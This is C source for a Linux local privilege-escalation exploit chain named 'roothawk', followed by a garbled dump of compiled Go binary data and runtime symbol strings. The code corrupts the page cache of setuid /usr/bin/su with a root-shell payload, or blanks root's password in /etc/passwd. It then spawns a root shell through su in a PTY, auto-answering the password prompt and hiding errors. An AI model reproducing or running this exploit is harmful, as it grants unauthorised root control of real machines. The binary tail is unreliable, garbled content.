(saved_termios_ok) { tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); } close(master); return 0; } /* * CVE-2026 chain — uid=1000 → root. * * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- * shell ELF. Works on every distro tested regardless of PAM nullok * or /etc/passwd contents — once invoked, the patched setuid-root * /usr/bin/su just execs /bin/sh as uid 0. * * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP * path can't reach the page cache, fall back to the rxrpc/rxkad * nullok primitive that patches /etc/passwd's root entry empty. * PAM nullok then accepts the empty password during `su -`. * * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a * fresh PTY and bridge the user's tty to it. The bridge handles * both the patched-su (no PAM at all) and the patched-passwd (PAM * nullok) cases uniformly, and works even when the caller is in a * background process group of an ssh-allocated PTY. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern int su_lpe_main(int argc, char **argv); extern int rxrpc_lpe_main(int argc, char **argv); /* * The 8 bytes our su payload places at file offset 0x78 — the first * instructions of the embedded shell ELF. Sequence: * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a (setgid) * Distros' original /usr/bin/su has different bytes here, so this is * a reliable post-patch marker. * * (We don't check offset 0 because /usr/bin/su already has the ELF * magic there — both before and after we patch.) */ static const uint8_t su_marker[8] = { 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, }; static int su_already_patched(void) { int fd = open("/usr/bin/su", O_RDONLY); if (fd < 0) return 0; uint8_t got[8]; ssize_t n = pread(fd, got, sizeof(got), 0x78); close(fd); if (n != sizeof(got)) return 0; return memcmp(got, su_marker, sizeof(su_marker)) == 0; } static int passwd_already_patched(void) { int fd = open("/etc/passwd", O_RDONLY); if (fd < 0) return 0; char head[16]; ssize_t n = pread(fd, head, sizeof(head), 0); close(fd); if (n < 9) return 0; return memcmp(head, "root::0:0", 9) == 0; } static int either_target_patched(void) { return su_already_patched() || passwd_already_patched(); } static void silence_stderr(int *saved_fd) { *saved_fd = dup(STDERR_FILENO); int dn = open("/dev/null", O_WRONLY); if (dn >= 0) { dup2(dn, STDERR_FILENO); close(dn); } } static void restore_stderr(int saved_fd) { if (saved_fd >= 0) { dup2(saved_fd, STDERR_FILENO); close(saved_fd); } } static char **append_corrupt_only(int argc, char **argv, int *new_argc) { static char *flag = "--corrupt-only"; static char *buf[64]; int n = argc < 60 ? argc : 60; for (int i = 0; i < n; i++) buf[i] = argv[i]; buf[n] = flag; buf[n + 1] = NULL; *new_argc = n + 1; return buf; } static void exec_su_login(void) { const char *paths[] = { "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, }; for (int i = 0; paths[i]; i++) execl(paths[i], "su", "-", (char *)NULL); execlp("su", "su", "-", (char *)NULL); } /* * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. */ static int run_root_pty(void) { int master = posix_openpt(O_RDWR | O_NOCTTY); if (master < 0) return -1; if (grantpt(master) < 0 || unlockpt(master) < 0) { close(master); return -1; } char *slave_name = ptsname(master); if (!slave_name) { close(master); return -1; } struct winsize ws; if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) ioctl(master, TIOCSWINSZ, &ws); pid_t pid = fork(); if (pid < 0) { close(master); return -1; } if (pid == 0) { setsid(); int slave = open(slave_name, O_RDWR); if (slave < 0) _exit(127); ioctl(slave, TIOCSCTTY, 0); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); if (slave > 2) close(slave); close(master); exec_su_login(); _exit(127); } signal(SIGTTOU, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGHUP, SIG_IGN); (void)setpgid(0, 0); (void)tcsetpgrp(STDIN_FILENO, getpid()); struct termios saved_termios; int restore_termios = 0; if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { struct termios raw = saved_termios; cfmakeraw(&raw); if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) restore_termios = 1; } int auto_pw_sent = 0; int stdin_eof = 0; int saw_master_output = 0; int total_ms = 0; char buf[4096]; for (;;) { struct pollfd pfds[2] = { { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, { master, POLLIN, 0 }, }; int pr = poll(pfds, 2, 200); if (pr < 0 && errno != EINTR) break; total_ms += 200; if (pfds[1].revents & POLLIN) { ssize_t n = read(master, buf, sizeof(buf)); if (n <= 0) break; saw_master_output = 1; (void)write(STDOUT_FILENO, buf, n); if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { buf[n] = 0; if (strstr(buf, "Password") || strstr(buf, "password")) { (void)write(master, "\n", 1); auto_pw_sent = 1; } } } if (!stdin_eof && (pfds[0].revents & POLLIN)) { ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); if (n <= 0) stdin_eof = 1; else (void)write(master, buf, n); } if (pfds[1].revents & (POLLHUP | POLLERR)) break; if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { (void)write(master, "\n", 1); auto_pw_sent = 1; } int status; pid_t w = waitpid(pid, &status, WNOHANG); if (w == pid) { for (int i = 0; i < 5; i++) { struct pollfd pf = { master, POLLIN, 0 }; if (poll(&pf, 1, 50) <= 0) break; ssize_t n = read(master, buf, sizeof(buf)); if (n <= 0) break; (void)write(STDOUT_FILENO, buf, n); } break; } } if (restore_termios) tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); close(master); return 0; } int main(int argc, char **argv) { int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); int force_esp = 0, force_rxrpc = 0; int saved_err = -1; int rc = 1; int new_argc; char **co_argv; for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "--force-esp")) force_esp = 1; else if (!strcmp(argv[i], "--force-rxrpc")) force_rxrpc = 1; else if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) verbose = 1; } if (getuid() == 0) { execlp("/bin/bash", "bash", (char *)NULL); _exit(1); } co_argv = append_corrupt_only(argc, argv, &new_argc); if (!verbose) silence_stderr(&saved_err); if (force_rxrpc) { rc = rxrpc_lpe_main(new_argc, co_argv); for (int i = 0; !passwd_already_patched() && i < 3; i++) rc = rxrpc_lpe_main(new_argc, co_argv); } else if (force_esp) { rc = su_lpe_main(new_argc, co_argv); } else { rc = su_lpe_main(new_argc, co_argv); if (!su_already_patched()) { rc = rxrpc_lpe_main(new_argc, co_argv); for (int i = 0; !passwd_already_patched() && i < 3; i++) rc = rxrpc_lpe_main(new_argc, co_argv); } } int patched = either_target_patched(); if (!verbose) restore_stderr(saved_err); if (patched) { (void)run_root_pty(); return 0; } dprintf(2, "roothawk: CVE-2026 chain failed (rc=%d)\n", rc); return rc ? rc : 1; } `@   ` pp0pp 0#P`#P:0e@`z  0@Y]p _ T`SP P  @   P  p P @) p  `|  * { @  `u   z @ | P@~ p$   @ `  @ 0O P   b   ` { p 0      P  Ћ   P  Ќ  P   @    0 p   P  В  `    P  Д  p   @   Ж  P P  И  P  Й p  P  К  P   P  `z | pp p P.  @ ` | s ZR @b 00и w P  0  p~ } 0J @ p s t d 0~ y @  @::mo  0 UP  pijk klPjplr  KP?5[\UUUe *bH$$Ib 000mm۶UUUUs? % E%A8U$II$:2RbA%AUUIe{6'H  0TU <xd>T!8al۶۶m""""UU XXHNM H'I$ I$ 2 R TUUUq%&ɱZkkZp@0TPdfffc11c$I$II$I$$$II(d   `ӴTVjUUZUjU%UU+-S*UR*RLDLDDDDX3CUUQQP!XCCCCCCCGEE$$$$$$$$$$$$$$HHHHHHHHHHHHHHHH!!!!!!!!!!!!!!!!BBBBBBBBBBBBBBBB $$$$$$$$$$$$$$$$HHHHHHHHHHHHHHHH!!!!!!!!!!!!!!!!BBBBBBBBBBBBBBBBQ$@@   @@!@.* B<@ @ 4j"""""$"""HQ"  $#"G  G  :)B7(+A$$$   `$ dAdAdA'b (]  $" & _y [ \  `,}M}'S<)I"I 6[$P"JK&Z&\#{(_W 31o xc%-(8T`f`f`f`f`f`f`f`fl]         >7{ 3E-r- 3f e)a q?*.k=&#L'a p!$1Ok $&&j u7a Hz~W!)W T?)o 5 5@/ 5*;?eA.X ~I8+uDb 7(O 8*#M )V"%%/W-%$R;!!x"%U?<>D~%V>MbP?{Gz??333333???ffffff??333333?@@:@Y@@& .A.AA333333ӿ9B.%4*%_ &Irfw-,kk'*!G%.w70=!i ))=)/G*#mV\ 1\$ $ $ $ $ $ $ $ $ 0 $!V.!%/ +!!go1.26.0`f`f%`f  jj[#k $$ Z`Zp 3B <JoqVF`:Y@%%`fh(#`$P$-  OXQEF&Ӧ ! M#yF\kLE`n``Kg  VŰ!!: ,Z@Z`<.`=`~?`\O2 ,nй=f@Qg4 ~z`>`?0 0 `{w/ `~8 %P(k#P(kGͫu"f^-B@"@";_`XJ  {܀`,Y .    6qixJy`:ITqXF W` :0 4vx_Lm`` IUP  mX_  OS]@ љp`(:[P`I' }NEE NEE  EE qh&EE #EE EE-`f`IӋE' .r5`oU/>(0@ -kزfpc@@TR97 'AE E@U/>(0E@gP@WjC^^`_@Wİ]]@^@[}P@j[ϠCEEEE@I'@ @@1_EEEE@(:[  @|EEEE@`qg@`%sa6EEE0Hl|TEп9w}@CC`CCB9 w]>?> ?>9v@AA`A@@F`zEp@ELEmEEEEbb   5 5p%&-`fp%t   - $$&$$$$ . ?jHAeAMbP?@@ rI0EE@ EE? EEp> EEThis program can only be run on processors with MMX support. \ 5 5\ 5\ 5 5 5\ 5[  [ [   [ [[[[C:\Users\admin\go\pkg\mod\golang.org\toolchain@v0.0.1-go1.26.0.windows-amd64  *%'     #$*%. #` EEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEE//%/%///jjjjjj[jj[jj[jj[             i vsӕXRw| ttM=!Oun &t|nJd www'O|`Li i i Pd d [ xi [ -O|` |eLjLoLHHGHHH!H#H%H'H)H+HG-H/HHG1H3H5HH7HG9H;H=H?HAHCHGGEHGHIHGHKHHH#HG@7/X!@7/@/`-1@7/@/`-1%/X!@/@7@7/@/`-1%@7`-1@/@7`-1@/`!@7@7`-1@/`!/@/`-1@7/@7/@/@7`-/@7/X!jj 5 jj 5[  5  5jjjj 5[ jj 5[ jj 5[  5jjj 5[  5jj 5[ +`i`i 5`i 0w tApath command-line-arguments dep github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= dep github.com/hashicorp/go-version v1.5.0 h1:O293SZ2Eg+AAYijkVK3jR786Am1bhDEh2GHT0tIVE5E= dep github.com/liamg/tml v0.6.0 h1:yOC/Q9p9Io3J11U9LdYVIwpRTnTE1GPMNFLrygkmE2Y= dep golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= dep golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= dep golang.org/x/term v0.0.0-20220526004731-065cf7ba2467 h1:CBpWXWQpIRjzmkkA+M7q9Fqnwd2mZr3AFqexg8YTfoM= dep roothawk (devel) build -buildmode=exe build -compiler=gc build -ldflags="-s -w" build CGO_ENABLED=0 build GOARCH=386 build GOOS=linux build GO386=sse2 2C1 rBA  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ (XhPinternal/abi.BoundsDecodeinternal/abi.NoEscapeinternal/abi.Kind.Stringinternal/abi.TypeOfinternal/abi.(*Type).Leninternal/abi.(*Type).Kindinternal/abi.(*Type).ExportedMethodsinternal/abi.(*Type).Uncommoninternal/abi.(*UncommonType).ExportedMethodsinternal/abi.addCheckedinternal/abi.(*Type).NumMethodinternal/abi.(*InterfaceType).NumMethodinternal/abi.Name.IsBlankinternal/abi.Name.ReadVarintinternal/abi.Name.Nameinternal/abi.Name.DataCheckedinternal/abi.Name.Taginternal/abi.Name.HasTaginternal/abi.NewNameinternal/abi.writeVarintinternal/abi.(*Kind).Stringinternal/abi.(*FuncType).Leninternal/abi.(*PtrType).Lentype:.eq.internal/abi.UncommonTypeinternal/cpu.Initializeinternal/cpu.processOptionsinternal/cpu.indexByteinternal/cpu.doinitinternal/cpu.isSetinternal/cpu.doinit.func1internal/cpu.cpuidinternal/cpu.xgetbvinternal/cpu.getGOAMD64leveltype:.eq.internal/cpu.optiontype:.eq.[8]internal/cpu.optiontype:.eq.internal/runtime/sys.NotInHeapinternal/runtime/atomic.LoadAcqinternal/runtime/atomic.Load8internal/runtime/atomic.(*Int32).Storeinternal/runtime/atomic.(*Uint64).Storeinternal/runtime/atomic.panicUnalignedinternal/runtime/atomic.Loadinternal/runtime/atomic.Loadpinternal/runtime/atomic.LoadAcquintptrinternal/runtime/atomic.Casinternal/runtime/atomic.Casint32internal/runtime/atomic.Casint64internal/runtime/atomic.Casuintptrinternal/runtime/atomic.CasRelinternal/runtime/atomic.Loaduintptrinternal/runtime/atomic.Loaduintinternal/runtime/atomic.Storeint32internal/runtime/atomic.Storeint64internal/runtime/atomic.Storeuintptrinternal/runtime/atomic.Xadduintptrinternal/runtime/atomic.Loadint32internal/runtime/atomic.Loadint64internal/runtime/atomic.Xaddint32internal/runtime/atomic.Xaddint64internal/runtime/atomic.Cas64internal/runtime/atomic.Casp1internal/runtime/atomic.Xaddinternal/runtime/atomic.Xadd64internal/runtime/atomic.Xchg8internal/runtime/atomic.Xchginternal/runtime/atomic.Xchgint32internal/runtime/atomic.Xchgint64internal/runtime/atomic.Xchguintptrinternal/runtime/atomic.Xchg64internal/runtime/atomic.StorepNoWBinternal/runtime/atomic.Storeinternal/runtime/atomic.StoreRelinternal/runtime/atomic.StoreReluintptrinternal/runtime/atomic.Load64internal/runtime/atomic.Store64internal/runtime/atomic.Or8internal/runtime/atomic.And8internal/runtime/atomic.Store8internal/runtime/atomic.Orinternal/runtime/atomic.Andinternal/runtime/atomic.Or32type:.eq.internal/runtime/atomic.Int64type:.eq.internal/runtime/atomic.Uint64cmpbodyinternal/bytealg.Compareruntime.cmpstringmemeqbodyruntime.memequalruntime.memequal_varleninternal/bytealg.IndexByteinternal/bytealg.IndexByteStringinternal/strconv.Error.Errorinternal/strconv.ParseUintinternal/strconv.lowerinternal/strconv.ParseIntinternal/strconv.Atoiinternal/strconv.underscoreOKinternal/strconv.AppendComplexinternal/strconv.AppendFloatinternal/strconv.(*decimal).Assigninternal/strconv.triminternal/strconv.rightShiftinternal/strconv.leftShiftinternal/strconv.prefixIsLessThaninternal/strconv.(*decimal).Shiftinternal/strconv.(*decimal).Roundinternal/strconv.shouldRoundUpinternal/strconv.(*decimal).RoundUpinternal/strconv.(*decimal).RoundDowninternal/strconv.genericFtoainternal/strconv.float32bitsinternal/strconv.float64bitsinternal/strconv.mulLog10_2internal/strconv.bigFtoainternal/strconv.formatDigitsinternal/strconv.roundShortestinternal/strconv.fmtEinternal/strconv.fmtFinternal/strconv.fmtBinternal/strconv.fmtXinternal/strconv.dboxFtoainternal/strconv.dboxFtoa64internal/strconv.mulLog10_2MinusLog10_4Over3internal/strconv.dboxPow64internal/strconv.pow10internal/strconv.mulLog2_10internal/strconv.dboxRange64internal/strconv.dboxRoundUp64internal/strconv.dboxDelta64internal/strconv.dboxMulPow64internal/strconv.dboxParity64internal/strconv.umul192Lower128internal/strconv.umul128internal/strconv.dboxFtoa32internal/strconv.dboxPow32internal/strconv.dboxRange32internal/strconv.dboxRoundUp32internal/strconv.dboxDelta32internal/strconv.dboxMulPow32internal/strconv.umul96Upper64internal/strconv.umul64internal/strconv.dboxParity32internal/strconv.umul96Lower64internal/strconv.dboxDigitsinternal/strconv.umul128Upper64internal/strconv.umul192Upper128internal/strconv.uadd128internal/strconv.fixedFtoamath/bits.Len64internal/strconv.umul192math/bits.Add64internal/strconv.divisiblePow5internal/strconv.FormatUintinternal/strconv.smallinternal/strconv.FormatIntinternal/strconv.AppendIntinternal/strconv.AppendUintinternal/strconv.formatBitsinternal/strconv.isPowerOfTwomath/bits.TrailingZerosinternal/strconv.formatBase10internal/strconv.trimZerosmath/bits.RotateLeft64internal/strconv.(*Error).Errorinternal/runtime/syscall/linux.EpollWaitinternal/runtime/syscall/linux.Openinternal/runtime/syscall/linux.Readinternal/runtime/syscall/linux.Preadinternal/runtime/syscall/linux.Syscall6internal/runtime/cgroup.parseV1Numberinternal/runtime/cgroup.parseV2Limitinternal/runtime/cgroup.parseCPUCgroupinternal/runtime/cgroup.newLineReaderinternal/runtime/cgroup.(*lineReader).lineinternal/runtime/cgroup.containsCPUinternal/runtime/cgroup.parseCPUMountinternal/runtime/cgroup.hasPathPrefixinternal/bytealg.Equalinternal/runtime/cgroup.unescapedLeninternal/bytealg.Countinternal/runtime/cgroup.unescapePathinternal/runtime/cgroup.CPU.Closeinternal/runtime/syscall/linux.Closeinternal/runtime/cgroup.OpenCPUinternal/runtime/cgroup.checkBufferSizeinternal/runtime/cgroup.ReadCPULimitinternal/runtime/cgroup.readV1Numberinternal/runtime/cgroup.readV2Limitinternal/runtime/cgroup.FindCPUinternal/runtime/cgroup.FindCPUCgroupinternal/runtime/cgroup.FindCPUMountPointinternal/runtime/cgroup.stringError.Errorinternal/runtime/cgroup.(*lineReader).nextinternal/runtime/cgroup.(*stringError).Errorinternal/runtime/maps.NewMapinternal/runtime/maps.alignUpPow2internal/runtime/sys.Len64internal/runtime/maps.depthToShiftinternal/runtime/maps.(*Map).installTableSplitinternal/runtime/maps.(*Map).directoryAtinternal/runtime/maps.(*Map).replaceTableinternal/runtime/maps.(*Map).directorySetinternal/runtime/maps.(*Map).getWithKeyinternal/runtime/maps.(*Map).Usedinternal/runtime/maps.(*Map).directoryIndexinternal/runtime/maps.(*Map).getWithKeySmallinternal/runtime/maps.h2internal/runtime/maps.ctrlGroup.matchH2internal/runtime/maps.ctrlGroupMatchH2internal/runtime/maps.bitset.removeFirstinternal/runtime/maps.(*groupReference).keyinternal/abi.(*MapType).IndirectKeyinternal/runtime/maps.bitset.firstinternal/runtime/maps.bitsetFirstinternal/runtime/maps.(*groupReference).eleminternal/abi.(*MapType).IndirectEleminternal/runtime/maps.(*Map).putSlotSmallinternal/runtime/maps.(*ctrlGroup).setinternal/abi.(*MapType).NeedKeyUpdateinternal/runtime/maps.(*groupReference).ctrlsinternal/runtime/maps.ctrlGroup.matchEmptyOrDeletedinternal/runtime/maps.ctrlGroupMatchEmptyOrDeletedinternal/runtime/maps.(*Map).growToSmallinternal/runtime/maps.newGroupsinternal/runtime/maps.(*ctrlGroup).setEmptyinternal/runtime/maps.(*Map).growToTableinternal/runtime/maps.(*ctrlGroup).getinternal/runtime/maps.(*Map).Deleteinternal/runtime/maps.mapKeyErrorinternal/abi.(*MapType).HashMightPanicinternal/runtime/maps.(*Map).deleteSmallinternal/abi.(*Type).Pointersinternal/runtime/maps.mapKeyError2internal/abi.(*Type).IsDirectIfaceinternal/runtime/maps.unhashableTypeError.Errorinternal/runtime/maps.(*Map).putSlotSmallFast32internal/runtime/maps.(*Map).putSlotSmallFast64internal/runtime/maps.(*Map).putSlotSmallFastPtrinternal/runtime/maps.(*Map).getWithoutKeySmallFastStrinternal/runtime/maps.longStringQuickEqualityTestinternal/runtime/maps.(*Map).putSlotSmallFastStrinternal/runtime/maps.newTableinternal/runtime/maps.(*table).resetinternal/runtime/maps.(*table).maxGrowthLeftinternal/runtime/maps.(*groupsReference).groupinternal/runtime/maps.(*table).getWithKeyinternal/runtime/maps.h1internal/runtime/maps.makeProbeSeqinternal/runtime/maps.probeSeq.nextinternal/runtime/maps.ctrlGroup.matchEmptyinternal/runtime/maps.ctrlGroupMatchEmptyinternal/runtime/maps.(*table).uncheckedPutSlotinternal/runtime/maps.(*table).Deleteinternal/runtime/maps.(*table).pruneTombstonesinternal/runtime/maps.(*table).tombstonesinternal/runtime/maps.ctrlGroup.matchFullinternal/runtime/maps.ctrlGroupMatchFullinternal/runtime/maps.bitset.countinternal/runtime/sys.OnesCount64internal/runtime/maps.(*Iter).Initinternal/runtime/maps.(*Iter).grownKeyEleminternal/runtime/maps.(*Iter).Nextinternal/runtime/maps.(*Iter).nextDirIdxinternal/runtime/maps.bitset.removeBelowinternal/runtime/maps.bitsetRemoveBelowinternal/runtime/maps.(*table).rehashinternal/runtime/maps.(*table).splitinternal/runtime/maps.localDepthMaskinternal/runtime/maps.(*table).growruntime.mapaccess1runtime.mapaccess2runtime.mapassignruntime.mapaccess1_fast32internal/runtime/maps.bitset.shiftOutLowestinternal/runtime/maps.bitsetShiftOutLowestinternal/runtime/maps.bitset.lowestSetinternal/runtime/maps.bitsetLowestSetruntime.mapaccess2_fast32runtime.mapassign_fast32runtime.mapassign_fast32ptrruntime.mapdelete_fast32runtime.mapaccess1_fast64runtime.mapassign_fast64runtime.mapaccess1_faststrruntime.mapaccess2_faststrruntime.mapassign_faststrinternal/runtime/maps.(*unhashableTypeError).Errortype:.eq.internal/runtime/maps.tabletype:.eq.internal/godebugs.Infointernal/stringslite.Indexinternal/stringslite.IndexByteinternal/bytealg.Cutoverinternal/stringslite.Cutinternal/bytealg.IndexRabinKarp[go.shape.string]internal/bytealg.HashStr[go.shape.string]internal/runtime/exithook.Runinternal/runtime/atomic.(*Int32).CompareAndSwapinternal/runtime/atomic.(*Uint64).Loadinternal/runtime/exithook.Run.deferwrap2internal/runtime/exithook.Run.deferwrap1internal/runtime/exithook.Run.func1internal/chacha8rand.(*State).Initinternal/byteorder.LEUint64internal/chacha8rand.(*State).Init64internal/chacha8rand.(*State).Refillinternal/chacha8rand.(*State).Reseedinternal/chacha8rand.(*State).Nextinternal/chacha8rand.setupinternal/chacha8rand.block_genericinternal/chacha8rand.qrinternal/chacha8rand.blockruntime.initruntime.init.func2runtime.sigdelsetruntime.memhash8runtime.strhashFallbackruntime.f32hashruntime.f64hashruntime.c64hashruntime.c128hashruntime.interhashruntime.memequal0runtime.memequal8runtime.memequal16runtime.memequal32runtime.memequal64runtime.memequal128runtime.f32equalruntime.f64equalruntime.c64equalruntime.c128equalruntime.strequalruntime.interequalruntime.nilinterequalruntime.efaceeqruntime.ifaceeqruntime.alginitruntime.initAlgAESruntime.init.0runtime.(*mspan).setUserArenaChunkToFaultruntime.makeSpanClassruntime.bool2intruntime.(*mspan).baseinternal/runtime/atomic.(*Uint64).Addruntime.(*mspan).setUserArenaChunkToFault.func1runtime.lockruntime.lockWithRankruntime.unlockruntime.unlockWithRankruntime.atomicstorepruntime.sigactionruntime.fixSigactionForCgoruntime.sigaction.func1runtime.callbackUpdateSystemStackruntime.defaultGOMAXPROCSInitruntime.defaultGOMAXPROCSruntime.adjustCgroupGOMAXPROCSruntime.ceilruntime.makechanruntime.addruntime.(*hchan).raceaddrruntime.chansend1runtime.chansendruntime.fullruntime.(*maybeTraceablePtr).setruntime.(*maybeTraceableChan).setruntime.(*waitq).enqueueinternal/runtime/atomic.(*Bool).Storeinternal/runtime/atomic.(*Uint8).Storeruntime.chanbufruntime.chansend.func1runtime.sendruntime.goreadyruntime.send.goready.func1runtime.timerchandrainruntime.sendDirectruntime.(*maybeTraceablePtr).getruntime.recvDirectruntime.closechanruntime.(*gList).pushruntime.(*guintptr).setruntime.(*gList).emptyruntime.(*gList).popruntime.closechan.goready.func1runtime.emptyruntime.chanrecv1runtime.chanrecv2runtime.chanrecvruntime.chanrecv.func1runtime.recvruntime.recv.goready.func1runtime.chanparkcommitruntime.selectnbsendruntime.selectnbrecvruntime.chanleninternal/runtime/atomic.(*Int32).Loadruntime.(*waitq).dequeueinternal/runtime/atomic.(*Uint32).CompareAndSwapruntime.(*cpuProfile).addruntime.nanotimeinternal/runtime/atomic.(*Uint32).Storeruntime.(*cpuProfile).addNonGoruntime.(*cpuProfile).addExtraruntime.GOMAXPROCSruntime.NumCgoCallruntime.totalMutexWaitTimeNanosinternal/runtime/atomic.(*Int64).Loadruntime.gogetenvruntime.envKeyEqualruntime.(*TypeAssertionError).Errorruntime.errorString.Errorruntime.errorAddressString.Errorruntime.plainError.Errorruntime.boundsError.Errorruntime.appendIntStrruntime.itoaruntime.printpanicvalruntime.printanycustomtyperuntime.printindentedruntime.panicwrapruntime.funcnameruntime.funcInfo.validruntime.funcNameForPrintruntime.Callerruntime.CallersFramesruntime.checkfdsruntime.floorruntime.isNaNruntime.isInfruntime.isFiniteruntime.modfruntime.float64bitsruntime.float64frombitsruntime.memhash32Fallbackruntime.mix32runtime.readUnaligned32runtime.memhash64Fallbackruntime.memhashFallbackinternal/byteorder.LEUint32runtime.hexdumpWordsruntime.(*hexdumper).closeruntime.printunlockruntime.hexdumpWords.func1runtime.funcInfo.entryruntime.(*hexdumper).writeruntime.(*hexdumper).initruntime.(*hexdumper).flushLineruntime.(*hexdumper).flushLine.func1runtime.(*hexdumper).fmtHexruntime.hexdumpMarker.startruntime.(*timeHistogram).recordruntime.(*timeHistogram).writeruntime.(*metricValue).float64HistOrInitruntime.timeHistogramMetricsBucketsruntime.(*itabTableType).findruntime.itabHashFuncruntime.itabAddruntime.iterate_itabsruntime.(*itabTableType).addruntime.itabInitruntime.rtype.nameOffruntime.rtype.typeOffinternal/abi.Name.IsExportedruntime.itabsinitruntime.activeModulesruntime.panicdottypeEruntime.panicdottypeIruntime.panicnildottyperuntime.convTruntime.convTnoptrruntime.convT32runtime.typeAssertruntime.interfaceSwitchruntime.unreachableMethodruntime.(*lfstack).pushruntime.lfstackPackruntime.taggedPointerPackruntime.(*lfstack).popruntime.lfstackUnpackruntime.taggedPointer.pointerruntime.lfnodeValidateruntime.(*listHeadManual).pushruntime.(*listHeadManual).getNoderuntime.(*listHeadManual).popruntime.(*listHeadManual).removeruntime.notewakeupruntime.notesleepruntime.notetsleep_internalruntime.notetsleepruntime.notetsleepgruntime.semasleepruntime.semawakeupruntime.lockVerifyMSizeruntime.roundupsizeruntime.lock2runtime.mutexPreferLowLatencyruntime.procyieldruntime.mutexWaitListHeadruntime.unlock2runtime.(*mLockProfile).storeruntime.mutexSampleContentionruntime.cheaprandnruntime.cheaprandruntime.unlock2Wakeruntime.muintptr.ptrruntime.lockRank.Stringruntime.mallocinitruntime.sysReserveruntime.(*linearAlloc).initruntime.alignUpinternal/runtime/atomic.(*Int64).Storeruntime.(*mheap).sysAllocruntime.(*fixalloc).freeruntime.arenaIndexruntime.sysHugePageruntime.sysNoHugePageruntime.sysFreeOSruntime.sysReserveAlignedruntime.(*mheap).enableMetadataHugePagesruntime.(*mcache).nextFreeruntime.mallocgcTinyruntime.acquiremruntime.getMCacheruntime.releasemruntime.nextFreeFastruntime.mallocgcSmallNoscanruntime.divRoundUpruntime.mallocgcSmallScanNoHeaderruntime.heapSetTypeNoHeaderruntime.mallocgcSmallScanHeaderruntime.heapSetTypeSmallHeaderruntime.mallocgcLargeruntime.heapSetTypeLargeruntime.preMallocgcDebugruntime.postMallocgcDebugruntime.traceAllocFreeEnabledruntime.traceAcquireruntime.traceEnabledruntime.traceLocker.okruntime.alignDownruntime.deductAssistCreditruntime.memclrNoHeapPointersChunkedruntime.goschedguardedruntime.newobjectruntime.profileallocruntime.nextSampleruntime.fastexprandruntime.fastlog2runtime.persistentallocruntime.persistentalloc.func1runtime.persistentalloc1runtime.(*notInHeap).addruntime.(*linearAlloc).allocruntime.mapIterStartruntime.mapIterNextruntime.wbZeroruntime.wbMoveruntime.reflectcallmoveruntime.typedmemclrruntime.(*mspan).typePointersOfruntime.(*mspan).objBaseruntime.(*mspan).objIndexruntime.(*mspan).divideByElemSizeruntime.(*mspan).typePointersOfUncheckedruntime.spanClass.noscanruntime.spanClass.sizeclassruntime.getGCMaskruntime.readUintptrruntime.(*mspan).typePointersOfTyperuntime.typePointers.nextruntime.typePointers.nextFastruntime.typePointers.fastForwardruntime.addbruntime.bulkBarrierPreWriteruntime.spanOfruntime.(*mSpanStateBox).getinternal/runtime/atomic.(*Uint8).Loadruntime.puintptr.ptrruntime.(*wbBuf).get2runtime.(*wbBuf).get1runtime.bulkBarrierPreWriteSrcOnlyruntime.(*mspan).initHeapBitsruntime.gcUsesSpanInlineMarkBitsruntime.(*mspan).initInlineMarkBitsruntime.(*mspan).inlineMarkBitsruntime.spanInlineMarkBitsFromBaseruntime.(*mspan).heapBitsruntime.heapBitsSliceruntime.spanHeapBitsRangeruntime.(*mspan).heapBitsSmallForAddrruntime.(*mspan).writeHeapBitsSmallruntime.(*mspan).refillAllocCacheruntime.(*gcBits).bytepruntime.(*mspan).nextFreeIndexruntime.isMarkedOrNotInHeapruntime.(*mspan).markBitsForIndexruntime.markBits.isMarkedruntime.badPointerruntime.bulkBarrierBitmapruntime.typeBitsBulkBarrierruntime.(*mspan).countAllocruntime.progToPointerMaskruntime.runGCProgruntime.add1runtime.subtract1runtime.subtractbruntime.allocmcacheruntime.allocmcache.func1runtime.(*mcache).refillruntime.(*mcache).allocLargeruntime.(*mcentral).fullSweptruntime.(*mcache).releaseAllruntime.(*mcache).prepareForSweepinternal/runtime/atomic.(*Uint32).Loadruntime.(*mcentral).cacheSpanruntime.(*mcentral).partialSweptruntime.(*mcentral).partialUnsweptruntime.(*mcentral).fullUnsweptruntime.(*mcentral).uncacheSpanruntime.(*mcentral).growruntime.startCheckmarksruntime.endCheckmarksruntime.gcIsMarkDoneruntime.setCheckmarkruntime.getCheckmarkruntime.runCheckmarkruntime.checkFinalizersAndCleanupsruntime.funclineruntime.checkFinalizersAndCleanups.func1runtime.checkFinalizersAndCleanups.func1.1runtime.gcScanCleanupruntime.forEachSpecialruntime.Cleanup.Stopruntime.(*mspan).specialFindSplicePo